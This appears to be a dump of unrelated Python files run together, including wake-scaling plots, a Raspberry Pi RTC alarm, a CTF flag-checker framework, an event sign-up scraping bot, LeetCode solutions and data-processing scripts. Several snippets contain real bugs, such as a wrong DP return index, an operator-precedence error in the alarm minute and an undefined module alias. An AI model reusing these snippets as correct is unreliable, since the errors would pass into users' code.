import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
import math
from scipy.interpolate import griddata
import copy
# import tecplot as tp

# with open('Rectangle_EXP.dat') as Rectangle_EXP:
#     all_data =
# D rectangle = 100

def load_data(fname):
    # To load tecplot dat to dataframe
    # fname: file name
    data = np.genfromtxt(fname, delimiter=' ', skip_header=10)
    dataset = pd.DataFrame(data,columns=['X_D','Y_D','Z_D','U_Uinf'])
    return dataset

def D_area(D,H):
    # Calculate D_area for rectangle
    D_area = ((4/math.pi)*D*H)**0.5
    return D_area

def D_star(D,H):
    # Calculate D_star for rectangle
    D_star = 2*D*H/(D+H)
    return D_star

def wake_scaling(dataset, D_gometry, D_scaling):
    # To scale the wake.
    # D_geometry: geometry diameter
    # D_scaling: scale length
    df = copy.copy(dataset)
    df['X_D'] = df['X_D'] * D_gometry / D_scaling
    df['Y_D'] = df['Y_D'] * D_gometry / D_scaling
    df['Z_D'] = df['Z_D'] * D_gometry / D_scaling
    return df

def extract_plane(dataset, xd):
    # To interplate results in desired plane.
    # dataset: normalized dataframe
    # XD: a downstream position
    df = dataset.loc[np.round(dataset['X_D'], 1)==round(xd,1)]
    y = np.arange(np.min(df['Y_D']), np.max(df['Y_D']), 0.01)
    z = np.arange(np.min(df['Z_D']), np.max(df['Z_D']), 0.01)
    yg, zg = np.meshgrid(y, z)
    u = griddata((df['Y_D'], df['Z_D']), df['U_Uinf'], (yg, zg), method='linear')
    return yg, zg, u

def extract_line(yg,zg,u, zd):
    yl = yg[np.round(zg,2)==round(zd,2)]
    ul = u[np.round(zg,2)==round(zd,2)]
    return yl,ul

# def grid_interplation(Rectangle):
#     XX, YY, ZZ = np.meshgrid(Rectangle[['X_D']],Rectangle[['Y_D']],Rectangle[['Z_D']],sparse=True)

# %% Scaling length calculation
D_cir = 200; D_squ = 200; D_rec = 100; H_rec = 300
# Area-based Shammensodin and Port-Agel
D_area_cir = D_cir
D_area_squ = D_area(D_squ,D_squ)
D_area_rec = D_area(D_rec,H_rec)
# Area and perimeter based scaling length
D_star_cir = D_cir
D_star_squ = D_star(D_squ,D_squ)
D_star_rec = D_star(D_rec,H_rec)

# %% Read tecplot .dat file
f1 = 'Rectangle_EXP.dat'
f2 = 'Circle_EXP.dat'
f3 = 'Square_EXP.dat'

Rectangle = load_data(f1)
Circle = load_data(f2)
Square = load_data(f3)

#  wake scaling
# D: loaded already
# %%
# D_area
Cir_area = wake_scaling(Circle,D_cir,D_area_cir)
Squ_area = wake_scaling(Square,D_squ,D_area_squ)
Rec_area = wake_scaling(Rectangle,D_rec,D_area_rec)
# %%
# D_star
Cir_star = wake_scaling(Circle,D_cir,D_star_cir)
Squ_star = wake_scaling(Square,D_squ,D_star_squ)
Rec_star = wake_scaling(Rectangle,D_rec,D_star_rec)

# %% Interpolation at postions wanted:
xd = np.linspace(1.,5.,5)
zd = np.linspace(0.5,0.,3)

# for i,x in enumerate(xd):
#     yg, zg, u = extract_plane(Cir_area,x)
#     for j,z in enumerate(zd):
#         plt.subplot(len(zd),len(xd),len(zd)*i + j+1)
#         yl,ul = extract_line(yg,zg,u, z)
#         ul = ul[yl<0.6]; yl = yl[yl<0.6]
#         ul = ul[yl>-1]; yl = yl[yl>-1]
#         plt.plot(yl,ul)

# for i,x in enumerate(xd):
#     yg, zg, u = extract_plane(Squ_area,x)
#     for j,z in enumerate(zd):
#         plt.subplot(len(zd),len(xd),len(zd)*i + j+1)
#         yl,ul = extract_line(yg,zg,u, z)
#         ul = ul[yl<1]; yl = yl[yl<1]
#         ul = ul[yl>-1]; yl = yl[yl>-1]
#         plt.plot(yl,ul)

# for i,x in enumerate(xd):
#     yg, zg, u = extract_plane(Rec_area,x)
#     for j,z in enumerate(zd):
#         plt.subplot(len(zd),len(xd),len(zd)*i + j+1)
#         yl,ul = extract_line(yg,zg,u, z)
#         ul = ul[yl<1]; yl = yl[yl<1]
#         ul = ul[yl>-1]; yl = yl[yl>-1]
#         plt.plot(yl,ul)

# plt.show()

font = {'family': 'serif',
        'color':  'darkred',
        'weight': 'normal',
        'size': 16,
        }
# %% plot D_area
fig1, axs1 = plt.subplots(len(zd),len(xd), sharex=True, sharey=True, gridspec_kw={'hspace': 0, 'wspace': 0.1}, figsize=(30,10))
fig1.suptitle('U/U_inf')
axs1[0,0].set_ylabel('Z/Darea=0.5')
axs1[1,0].set_ylabel('Z/Darea=0.25')
axs1[2,0].set_ylabel('Z/Darea=0')
# xlabel
for i,x in enumerate(xd):
    axs1[2,i].set_xlabel('Y/Darea')
axs1[0,0].set_title('X/Darea=1')
axs1[0,1].set_title('X/Darea=2')
axs1[0,2].set_title('X/Darea=3')
axs1[0,3].set_title('X/Darea=4')
axs1[0,4].set_title('X/Darea=5')
plt.setp(axs1, xlim=(-0.99,0.99))

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Cir_area,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.6]; yl = yl[yl<0.6]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs1[j, i].plot(yl,ul,color='grey',marker='o', fillstyle='full', markevery=8,markersize=12,linestyle='None')

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Squ_area,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.9]; yl = yl[yl<0.9]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs1[j, i].plot(yl,ul,color='red',marker='s', fillstyle='none', markevery=8,markersize=12,linestyle='None',markeredgewidth = 2)

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Rec_area,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.9]; yl = yl[yl<0.9]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs1[j, i].plot(yl,ul,color='blue',marker='d', fillstyle='none', markevery=8,markersize=12,linestyle='None',markeredgewidth = 2)

# %% plot D_star
fig2, axs2 = plt.subplots(len(zd),len(xd), sharex=True, sharey=True, gridspec_kw={'hspace': 0, 'wspace': 0.1}, figsize=(30,10))
fig1.suptitle('U/U_inf')
axs2[0,0].set_ylabel('Z/Dstar=0.5')
axs2[1,0].set_ylabel('Z/Dstar=0.25')
axs2[2,0].set_ylabel('Z/Dstar=0')
# xlabel
for i,x in enumerate(xd):
    axs2[2,i].set_xlabel('Y/Dstar')
axs2[0,0].set_title('X/Dstar=1')
axs2[0,1].set_title('X/Dstar=2')
axs2[0,2].set_title('X/Dstar=3')
axs2[0,3].set_title('X/Dstar=4')
axs2[0,4].set_title('X/Dstar=5')
plt.setp(axs2, xlim=(-0.99,0.99))

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Cir_star,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.6]; yl = yl[yl<0.6]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs2[j, i].plot(yl,ul,color='grey',marker='o', fillstyle='full', markevery=8,markersize=12,linestyle='None')

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Squ_star,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.9]; yl = yl[yl<0.9]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs2[j, i].plot(yl,ul,color='red',marker='s', fillstyle='none', markevery=8,markersize=12,linestyle='None',markeredgewidth = 2)

for i,x in enumerate(xd):
    yg, zg, u = extract_plane(Rec_star,x)
    for j,z in enumerate(zd):
        yl,ul = extract_line(yg,zg,u, z)
        ul = ul[yl<0.9]; yl = yl[yl<0.9]
        ul = ul[yl>-1]; yl = yl[yl>-1]
        axs2[j, i].plot(yl,ul,color='blue',marker='d', fillstyle='none', markevery=8,markersize=12,linestyle='None',markeredgewidth = 2)

# %% save fig
fig1.savefig('U_Darea.svg', dip = 300)
fig2.savefig('U_Dstar.svg', dip = 300)

# %%


import os
import sys

if len(sys.argv) == 1:
        f1 = open("newdummy.txt", 'w+')
        f1.write("This is new file text. This will be re-read once again.")
        f1.seek(0)
        print("We wrote the following:")
        print(f1.read())
        f1.close()
else:
    print("Too many or too few arguments.")


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@author: Leonardo La Rocca
"""

import melopero_RV_3028 as mp
import datetime
import gpiozero as gpio
from signal import pause

def main():
    # First initialize and create the rtc device
    rtc = mp.RV_3028()
    # Set the device to use the 24hour format (default) instead of the 12 hour format
    rtc.set_12h_format(False)

    # Then set the date and time.
    # retrieve the datetime from the library datetime
    current_datetime = datetime.datetime.now()

    # set the date and time for the device
    rtc.set_time(current_datetime.hour, current_datetime.minute, current_datetime.second)
    rtc.set_date(current_datetime.weekday(), current_datetime.day, current_datetime.month, current_datetime.year % 2000)

    # First disable other sources of interrupts
    rtc.enable_timer(enable=False, repeat=False, generate_interrupt=False)
    rtc.enable_periodic_time_update_interrupt(generate_interrupt=False)
    rtc.clear_interrupt_flags()

    # set the alarm to trigger 2 minutes from now
    minute_alarm = current_datetime.minute + 2 % 60
    rtc.set_minute_alarm(minute_alarm)
    rtc.enable_alarm(enable=True, generate_interrupt=True)
    print("Alarm set to trigger two minutes from now...")
    print("The alarm will trigger every hour at minute {}".format(minute_alarm))

    # interrupt routine
    def on_interrupt():
        print("Alarm: beep beep")
        print(rtc.get_time())
        print("Press CTRL + C to terminate program...")
        rtc.clear_interrupt_flags()

    # set the pin to listen to interrupts
    int_listener_pin = "GPIO4"
    interrupt = gpio.Button(int_listener_pin, pull_up=None, active_state=False)
    interrupt.when_pressed = on_interrupt

    pause()

if __name__ == "__main__":
    main()


import asyncio
import inspect
import sys
import json
import socket

from contextlib import redirect_stdout, suppress
from traceback import format_exc
from typing import Dict, Callable
from copy import copy

from gornilo.models.api_constants import *
from gornilo.models.action_names import INFO, CHECK, PUT, GET, TEST
from gornilo.models.checksystem_request import CheckRequest, PutRequest, GetRequest
from gornilo.models.verdict import Verdict
from gornilo.setup_logging import setup_logging

with suppress(ImportError):
    import requests

class Checker:
    def __init__(self):
        self.__info_distribution = {}
        self.__multiple_actions = frozenset((PUT, GET))
        self.__actions_handlers: Dict[str, Dict[int, Callable[[CheckRequest], Verdict]]] = {
            CHECK: None,
            PUT: {},
            GET: {},
        }

    @staticmethod
    def __check_function(func: callable, func_type: type):
        func_name = func.__code__.co_name
        func_args_spec = inspect.getfullargspec(func)

        if func_args_spec.annotations.get("return") != Verdict:
            raise TypeError(f"Checker function ({func_name}) should return {Verdict} object!")

        if len(func_args_spec.args) < 1:
            raise TypeError(f"{func_name} should have 1 or more args!")

        func_arg_name = func_args_spec.args[0]
        func_arg_type = func_args_spec.annotations.get(func_arg_name)

        if not issubclass(func_arg_type, func_type):
            raise TypeError(f"{func_name} first arg should be typed as {func_type}")

    def __register_action(self, action_name: str, action: callable, action_period: int = None):
        if action_name in self.__multiple_actions:
            if action_period is None:
                raise ValueError("Period should not be None for multiple actions!")
            self.__actions_handlers[action_name][action_period] = action
        else:
            if action_name in self.__actions_handlers:
                if self.__actions_handlers[action_name] is not None:
                    raise ValueError("Action has been already registered!")
                self.__actions_handlers[action_name] = action
            else:
                raise ValueError("Incorrect action name!")

    def __run_tests(self, team_ip) -> int:
        from gornilo.utils import measure, generate_flag
        from uuid import uuid4
        import subprocess

        return_codes = []

        with measure(CHECK):
            check_result = subprocess.run([sys.executable, sys.argv[0], CHECK, team_ip], text=True, capture_output=True)
        print(f"Check completed with {check_result.returncode} exitcode, "
              f"stdout: {check_result.stdout}, "
              f"stderr: {check_result.stderr}")

        return_codes.append(check_result.returncode)

        info_response = subprocess.run([sys.executable, sys.argv[0], INFO], text=True, capture_output=True).stdout
        vulns_amount = len(info_response.split("\n")[0].split(":")) - 1

        for i in range(vulns_amount):

            flag = generate_flag()
            flag_id = str(uuid4())

            with measure(f"{PUT} vuln {i + 1}"):
                put_result = subprocess.run([sys.executable, sys.argv[0], PUT, team_ip, flag_id, flag, str(i + 1)],
                                            text=True, capture_output=True)
            print(f"{PUT} exited with {put_result.returncode}, "
                  f"stdout: {put_result.stdout}, "
                  f"stderr: {put_result.stderr}")

            return_codes.append(put_result.returncode)

            if put_result.stdout:
                flag_id = put_result.stdout
            with measure(f"{GET} vuln {i + 1}"):
                get_result = subprocess.run([sys.executable, sys.argv[0], GET, team_ip, flag_id, flag, str(i + 1)],
                                            text=True, capture_output=True)
            print(f"{GET} exited with {get_result.returncode}, "
                  f"stdout: {get_result.stdout}, "
                  f"stderr: {get_result.stderr}")

            return_codes.append(get_result.returncode)

        print(f"All return codes: {return_codes}, using max as a return value. 101 transforms to 0")
        return max(return_codes)

    def define_check(self, func: callable) -> callable:
        self.__check_function(func, CheckRequest)
        self.__register_action(CHECK, func)
        return func

    def define_put(self, vuln_num: int, vuln_rate: int) -> callable:
        if not isinstance(vuln_num, int) or vuln_num < 1:
            raise TypeError(f'You should provide vulnerability natural number as a decorator argument!')

        def wrapper(func: callable):
            self.__check_function(func, PutRequest)
            self.__register_action(PUT, func, vuln_num)
            self.__info_distribution[vuln_num] = vuln_rate
            return func
        return wrapper

    def __extract_info_call(self):
        return VULNS + VULNS_SEP.join(str(self.__info_distribution[key]) for key in sorted(self.__info_distribution))

    def define_get(self, vuln_num: int) -> callable:
        if not isinstance(vuln_num, int) or vuln_num < 1:
            raise TypeError(f'You should provide vulnerability natural number as a decorator argument!')

        def wrapper(func: callable):
            self.__check_function(func, GetRequest)
            self.__register_action(GET, func, vuln_num)
            return func
        return wrapper

    def __async_wrapper(self, func_result):
        if asyncio.iscoroutine(func_result):
            return asyncio.run(func_result)
        return func_result

    def __try_extract_public_flag_id(self, request_content: dict) -> dict or None:
        try:
            request_content = copy(request_content)

            flag_id = request_content["flag_id"]
            json_flag_id = json.loads(flag_id)

            public_flag_id = json_flag_id.pop(PUBLIC_FLAG_ID)
            private_flag_id = json_flag_id.pop(PRIVATE_CONTENT)

            request_content[PUBLIC_FLAG_ID] = public_flag_id

            if not isinstance(private_flag_id, str):
                private_flag_id = json.dumps(private_flag_id)

            request_content["flag_id"] = private_flag_id

            return request_content
        except Exception:
            # any exception here means something gone wrong with json;
            # should fallback to legacy models
            return None

    # noinspection PyProtectedMember
    def run(self, *args):
        setup_logging()
        result = Verdict.CHECKER_ERROR("Something gone wrong")
        try:
            if not args:
                args = sys.argv[1:]
            with redirect_stdout(sys.stderr):
                result = self.__run(*args)

            if type(result) != Verdict:
                print(f"Checker function returned not Verdict value, we need to fix it!", file=sys.stderr)
                result = Verdict.CHECKER_ERROR("")
        except Verdict as verdict:
            result = verdict
        except Exception as e:
            print(f"Checker caught an error: {e},\n {format_exc()}", file=sys.stderr)
            result = Verdict.CHECKER_ERROR("")

            if isinstance(e, socket.timeout):
                result = Verdict.DOWN("Socket timeout")

            if "requests" in globals() and any(isinstance(e, exc) for exc in (
                    requests.exceptions.ConnectionError,
                    requests.exceptions.Timeout,
                    requests.exceptions.TooManyRedirects)):
                result = Verdict.DOWN("Could not process routine due to timeout or connection error!")
        finally:
            if result._public_message:
                print(result._public_message, file=sys.stdout)
            sys.exit(result._code)

    def __run(self, command=None, hostname=None, flag_id=None, flag=None, vuln_id=None) -> Verdict:
        commands = [CHECK, PUT, GET, INFO, TEST]

        if command is None:
            raise ValueError("Expected 1 or more args!")

        command = command.upper()

        if command not in commands:
            raise ValueError(f"Unknown ({command}) command! (Expected one of ({','.join(commands)})")

        if command == INFO:
            return Verdict.OK(self.__extract_info_call())

        if hostname is None:
            raise ValueError("Can't find 'hostname' arg! (Expected 2 or more args)")

        check_func = self.__actions_handlers[CHECK]
        request_content = {
            "hostname": hostname
        }

        if command == CHECK:
            # noinspection PyCallingNonCallable
            return self.__async_wrapper(check_func(CheckRequest(**request_content)))

        if command == TEST:
            return_code = self.__run_tests(hostname)
            return Verdict(0 if return_code == 101 else return_code, "Tests has been finished")

        if flag_id is None:
            raise ValueError("Can't find 'flag_id' arg! (Expected 3 or more args)")

        if flag is None:
            raise ValueError("Can't find 'flag' arg (Expected 4 or more args)")

        if vuln_id is None:
            raise ValueError("Can't find 'vuln_id' arg (Expected 5 or more args)")
        try:
            vuln_id = int(vuln_id)
            assert vuln_id > 0
            assert vuln_id in self.__actions_handlers[PUT]
            assert vuln_id in self.__actions_handlers[GET]
        except (TypeError, AssertionError):
            raise ValueError("'vuln_id' should be representative as a natural number, "
                             f"{GET}/{PUT} methods should be registered in checker!")

        put_func = self.__actions_handlers[PUT][vuln_id]
        get_func = self.__actions_handlers[GET][vuln_id]

        request_content.update({
            "flag_id": flag_id,
            "flag": flag,
            "vuln_id": vuln_id
        })

        if command == PUT:
            return self.__async_wrapper(put_func(PutRequest(**request_content)))

        if command == GET:
            result = self.__try_extract_public_flag_id(request_content)
            return self.__async_wrapper(get_func(GetRequest(**(result or request_content))))

        raise RuntimeError("Something went wrong with checker scenario :(")


"""

RUNBASE-IMP

HTML scraping bot for monitoring Adidas Runners events

Author: Francesco Ramoni
        francesco[dot]ramoni@email.it
        https://github.com/framoni/

"""

import json
from lxml import html
from selenium import webdriver
import time
from twilio.rest import Client

#-------------------------------------------------------------------------------

# PARAMETERS

# url to be scraped
ar_url = 'https://www.adidas.it/adidasrunners/community/milano'
# request header
user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
# message
message = 'Le iscrizioni agli eventi Adidas Runners di questa settimana sono state effettuate. runbase-imp'
# twilio data
with open("runbase-imp-param.json") as j:
     for line in j:
             td = json.loads(line)
# set webdriver options
options = webdriver.ChromeOptions()
options.add_argument('headless')
options.add_argument(f'user-agent={user_agent}')

#-------------------------------------------------------------------------------

# FUNCTIONS

# function to scrape event url
def scrape_event_url(event_name):
    browser.get(ar_url)
    event_url = browser.find_element_by_xpath('//a[contains(div//div//h3, "{}") and contains(., "SENZA spogliatoio")]'.format(event_name)).get_attribute("href")
    return event_url

# function to sign up to an event
def event_signup(event_name, do_login):
    print("Event: {}".format(event_name))
    event_url = scrape_event_url(event_name)
    # go to event page
    browser.get(event_url)
    # login
    if do_login:
        login()
    # wait 10 seconds to bypass a UI visual bug (?) showing a second login form
    time.sleep(10)
    # sign up to the event
    button_signup = browser.find_element_by_xpath('//*[@title="Iscriviti"]')
    browser.execute_script("arguments[0].click();", button_signup)

# function to login to the portal
def login():
    # click on login button
    button_login = browser.find_element_by_xpath('//*[@title="Accedi"]')
    browser.execute_script("arguments[0].click();", button_login)
    # send username, password and confirm
    browser.find_element_by_id('email').send_keys(td['email'])
    browser.find_element_by_id('password').send_keys(td['pass'])
    button_send = browser.find_element_by_xpath('//*[@title="Invia"]')
    browser.execute_script("arguments[0].click();", button_send)
    return

#-------------------------------------------------------------------------------

# SCRAPING

# create a new driver
browser = webdriver.Chrome(chrome_options=options)
browser.implicitly_wait(60)

print("Signing up to the Adidas Runners events... ")

# sign up to events of interest
event_signup('MONDAY HEROES', True)
event_signup('ROAD TO YOUR BEST', False)

# close the driver
browser.quit()

# send a SMS to notify
print("Notifying via SMS... ")
client = Client(td['twilio_client'], td['twilio_token'])
client.messages.create(to=td['phone_to'], from_=td['phone_from'], body=message)

print("Job done. ")


from __future__ import print_function

import sys

from atrope import exception
from atrope.cmd import image_list
from atrope.cmd import version

from oslo_config import cfg
from oslo_log import log

CONF = cfg.CONF

def add_command_parsers(subparsers):
    image_list.CommandImageListIndex(subparsers)
    image_list.CommandImageListFetch(subparsers)
    image_list.CommandImageListCache(subparsers)
    image_list.CommandDispatch(subparsers)
    version.CommandVersion(subparsers)

command_opt = cfg.SubCommandOpt('command',
                                title='Commands',
                                help='Show available commands.',
                                handler=add_command_parsers)

CONF.register_cli_opt(command_opt)

LOG = log.getLogger(__name__)

class CommandManager(object):
    def execute(self):
        try:
            LOG.info("Atrope session starts >>>>>>>>>>")
            CONF.command.func()
        except exception.AtropeException as e:
            print("ERROR: %s" % e, file=sys.stderr)
            sys.exit(1)
        except KeyboardInterrupt:
            print("\nExiting...", file=sys.stderr)
            sys.exit(0)
        finally:
            LOG.info("Atrope session ends <<<<<<<<<<<<")


# 给你一个 只包含正整数 的 非空 数组 nums 。请你判断是否可以将这个数组分割成两个子集，使得两个子集的元素和相等。

class Solution(object):
    def canPartition(self, nums):
        """
        :type nums: List[int]
        :rtype: bool
        """
        sumnums = 0
        for i in nums:
            sumnums += i
        if sumnums % 2 != 0:
            return False
        sumnums = int(sumnums / 2)

        dp =  [[False for col in range(sumnums + 1)] for row in range(len(nums) + 1)]
        for i in range(0, len(nums)):
            dp[i][0] = True

        for i in range(1, len(nums)+1):
            for j in range(1, sumnums + 1):
                if j >= nums[i - 1]:
                    dp[i][j] = dp[i-1][j] or dp[i-1][j - nums[i - 1]]
                else:
                    dp[i][j] = dp[i-1][j]

        return dp[len(nums)-1][sumnums]

nums = [1,2,5]
a = Solution()
print(a.canPartition(nums))


from collections import defaultdict

class Solution:
    def accountsMerge(self, accounts):
        email_accounts_map = defaultdict(list)
        visited_accounts = [False]*len(accounts)
        result = []

        for i, account in enumerate(accounts):
            for j in range(1, len(account)):
                email = account[j]
                email_accounts_map[email].append(i)

        def dfs(i, emails):
            if visited_accounts[i]:
                return

            visited_accounts[i] = True
            for j in range(1, len(accounts[i])):
                email = accounts[i][j]
                emails.add(email)

                for neighbours in email_accounts_map[email]:
                    dfs(neighbours, emails)

        for i, account in enumerate(accounts):
            if visited_accounts[i]:
                continue
            name, emails = account[0], set()
            dfs(i, emails)
            result.append([name] + sorted(emails))

        return result

obj = Solution()
accounts = [["John","johnsmith@mail.com","john_newyork@mail.com"],["John","johnsmith@mail.com","john00@mail.com"],["Mary","mary@mail.com"],["John","johnnybravo@mail.com"]]
ans = obj.accountsMerge(accounts)
print(ans)


from hashlib import md5
from typing import Union

def hash_encode(data: Union[str, bytes],
                return_bytes: bool = False) -> Union[str, bytes]:
    if isinstance(data, str):
        data = data.encode()
    output = md5(data)
    return output.digest() if return_bytes else output.hexdigest()


#!/usr/bin/env python
"""
ONS Address Index - Land Registry Data
======================================

A simple script to process land registry sales data.

The original data were downloaded on the 10th of November from:
https://data.gov.uk/dataset/land-registry-monthly-price-paid-data
Because the AddressBased used by the prototype is Epoch 39 (from April) it does not contain all
new builds with new postcodes. This scripts allows to identify those postcodes that do not exist
in the Epoch 39 AddressBase.

Running
-------

The script can be run from command line using CPython::

    python landRegistryData.py

Requirements
------------

:requires: pandas
:requires: numpy

Author
------

:author: Sami Niemi (sami.niemi@valtech.co.uk)

Version
-------

:version: 0.2
:date: 18-Nov-2016

"""
import pandas as pd
import numpy as np
import os

if os.environ.get('LC_CTYPE', '') == 'UTF-8':
    os.environ['LC_CTYPE'] = 'en_US.UTF-8'

def loadData(filename='pp-monthly-update.csv', path='/Users/saminiemi/Projects/ONS/AddressIndex/data/'):
    """
    Read in the Land Registry testing data.

    The data were downloaded from:
    https://data.gov.uk/dataset/land-registry-monthly-price-paid-data
    The header was grabbed from:
    https://www.gov.uk/guidance/about-the-price-paid-data#explanations-of-column-headers-in-the-ppd

    :param filename: name of the CSV file holding the data
    :type filename: str
    :param path: location of the test data
    :type path: str

    :return: pandas dataframe of the data (no UPRNs)
    :rtype: pandas.DataFrame
    """
    df = pd.read_csv(path + filename, low_memory=False, parse_dates=[2, ], infer_datetime_format=True)

    print('Found', len(df.index), 'addresses from the land registry sales data...')

    return df

def loadAddressBaseData(filename='AB.csv', path='/Users/saminiemi/Projects/ONS/AddressIndex/data/ADDRESSBASE/'):
    """
    Load a compressed version of the full AddressBase file. The information being used
    has been processed from a AB Epoch 39 files provided by ONS.

    :param filename: name of the file containing modified AddressBase
    :type filename: str
    :param path: location of the AddressBase combined data file
    :type path: str

    :return: pandas dataframe of the requested information
    :rtype: pandas.DataFrame
    """
    df = pd.read_csv(path + filename, usecols=['POSTCODE', 'POSTCODE_LOCATOR'])
    print('Found', len(df.index), 'addresses from AddressBase...')

    # combine PAF and NAG information
    msk = df['POSTCODE'].isnull()
    df.loc[msk, 'POSTCODE'] = df.loc[msk, 'POSTCODE_LOCATOR']

    return df

def testIfPostcodeExists(ab, landRegistry):
    """
    A simple function to identify those postcodes that are present in the land registry data but
    missing from AddressBase. Most of these are new buildings. One should consider removing these
    from the testing of prototype matching.

    :param ab: dataframe containing addressbase information
    :type ab: pandas.DataFrame
    :param landRegistry: dataframe containing land registry data
    :type landRegistry: pandas.DataFrame

    :return: None
    """
    # find unique postcodes from AddressBase
    ABpostcodes = np.unique(ab['POSTCODE'].values)

    # those land registry postcodes that are not present in AddressBase are newbuilds
    msk = landRegistry['Postcode'].isin(ABpostcodes)

    # get those addresses that have a postcode in AB and identify missing postcodes
    lr = landRegistry.loc[~msk]
    missingPostcodes = np.unique(lr.loc[lr['Postcode'].notnull(), 'Postcode'].values)

    print('Missing Postcodes:')
    print(missingPostcodes)
    print('In total', len(missingPostcodes), 'postcodes in sales data without AB counterpart')
    print('In total', len(lr.index), 'addresses without counterparts')

    # find those with postcode counterparts and save to a file
    msk = ~landRegistry.Postcode.isin(missingPostcodes)
    lr = landRegistry.ix[msk]
    path = '/Users/saminiemi/Projects/ONS/AddressIndex/data/'
    print('After removing postcodes without counterpart', len(lr.index), 'address remain...')
    lr.to_csv(path + 'pp-monthly-update-Edited.csv', index=False)

    # record also those without postcode counterpart
    lr = landRegistry.ix[~msk]
    print(len(lr.index), 'addresses without postcodes...')
    lr.to_csv(path + 'pp-monthly-update-no-postcode.csv', index=False)

if __name__ == "__main__":
    ab = loadAddressBaseData()
    lr = loadData()
    testIfPostcodeExists(ab, lr)


from task_3 import Bucket, Unbucketed, JoinBuckets
from pyspark.sql import SparkSession
from pyspark.sql.types import StructType, StructField, StringType, DateType, IntegerType
from datetime import datetime

import pytest

spark = SparkSession.builder.appName("Clients").getOrCreate()

# schema for trx_table
schema = StructType([
    StructField('ndc11', StringType()),
    StructField('invoice_amount', IntegerType()),
    StructField('invoice_quantity', IntegerType()),
    StructField('bu_dir.state', StringType()),
    StructField('bu_whl.state', StringType()),
    StructField('invoice_date', DateType()),
])

# data for trx_table
data = [(1, 100, 10, 'USA', 'USA', datetime(2019, 1, 3)),
        (1, 24, 20, 'NM', 'NM', datetime(2019, 2, 24)),
        (1, 200, 23, 'USA', 'USA', datetime(2019, 1, 20)),
        (2, 270, 14, 'USA', 'USA', datetime(2019, 3, 15)),
        (2, 340, 55, 'USA', 'PR', datetime(2019, 2, 17)),
        (2, 312, 34, 'NM', 'USA', datetime(2019, 2, 4)),
        (2, 425, 22, None, 'USA', datetime(2019, 2, 9))
        ]

# create test_df
trx_table = spark.createDataFrame(data, schema=schema)

# add column 'month'
trx_table = trx_table.withColumn('month', F.date_format('invoice_date', 'yyyyMM'))

# from task_4 import Bucket, prepare_df_with_month
# import pytest
# from datetime import datetime
# from pyspark.sql import functions as F
# from pyspark.sql import Column
# from pyspark.sql.types import StructType, StructField, DateType
#
#
# @pytest.fixture
# def bucket(trx_table):
#     agg_cols = [(F.col('invoice_amount'), 'cost'), (F.col('invoice_quantity'), 'quan')]
#     bucket = Bucket(trx_table, [trx_table['`bu_dir.state`'] == 'USA'], ['ndc11', 'month'], agg_cols, 'dir_sls_')
#     return bucket
#
#
# def test_adjust_prefix(bucket, trx_table):
#     bucket = bucket.adjust_prefix(trx_table)
#     assert 'dir_sls_invoice_amount' in bucket.columns
#     assert 'ndc11' in bucket.columns
#
#
# def test_get_aggregations(bucket):
#     assert isinstance(bucket.get_aggregations()[0], Column)
#
#
# @pytest.mark.parametrize('expect_cols', ['ndc11', 'dir_sls_cost'])
# def test_create_bucket(bucket, expect_cols):
#     actual_bucket = bucket.create_bucket()
#
#     assert expect_cols in actual_bucket.columns
#     assert actual_bucket.collect()[0]['dir_sls_cost'] == 300
#
#
# @pytest.mark.parametrize('row, expect', [((datetime(2019, 1, 3),), '201901'),
#                                          ((datetime(2020, 3, 4),), '202003')])
# def test_prepare_df_with_month(spark, row, expect):
#     df = spark.createDataFrame([row], schema=StructType([StructField('invoice_date', DateType())]))
#     actual_df = prepare_df_with_month(df)
#     assert 'month' in actual_df.columns
#     assert actual_df.collect()[0]['month'] == expect


class NumericSolverModelResults:
    def __init__(self, model_name, model, X, P, S, V, t, dt, non_dim_scaler):
        """
        model_name é algo como "euler" ou "runge_kutta"
        O resto são os parâmetros de solução numérica
        """
        self.model_name = model_name
        self.model = model
        self.X = X
        self.P = P
        self.S = S
        self.V = V
        self.t = t
        self.dt = dt
        self.non_dim_scaler = non_dim_scaler


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import math
import seaborn as sns
from numpy.random import rand
from sklearn import preprocessing
from sklearn import metrics, svm
from sklearn.metrics import plot_confusion_matrix, precision_score
from collections import Counter

from sklearn.linear_model import LogisticRegression
from sklearn.svm import SVC
from sklearn.neighbors import KNeighborsClassifier
from sklearn.tree import DecisionTreeClassifier
from sklearn.neural_network import MLPClassifier
from sklearn.ensemble import RandomForestClassifier
import collections

def split_into_train_and_test(x_all_LF, frac_test=0.5, random_state=None):

    if random_state is None:
        random_state = np.random

    exam,fea = x_all_LF.shape
    N = math.ceil(frac_test*exam)

    # np.random.RandomState(random_state)
    temp = random_state.permutation(x_all_LF)
    x_test_NF = temp[0:N,:]
    x_train_MF = temp[N:,:]
    # print(np.count_nonzero(x_all_LF[:,-1]))
    # print(x_all_LF.shape)
    # print(np.count_nonzero(x_all_LF.iloc[:,-1]) /x_all_LF.shape[0] )
    labels = ['0','1']
    plotY = [x_all_LF.shape[0] - np.count_nonzero(x_all_LF.iloc[:,-1]), np.count_nonzero(x_all_LF.iloc[:,-1])]
    # plt.pie(plotY, labels = labels)
    # plt.suptitle("Distribution of Imbalanced Class")
    # plt.show()
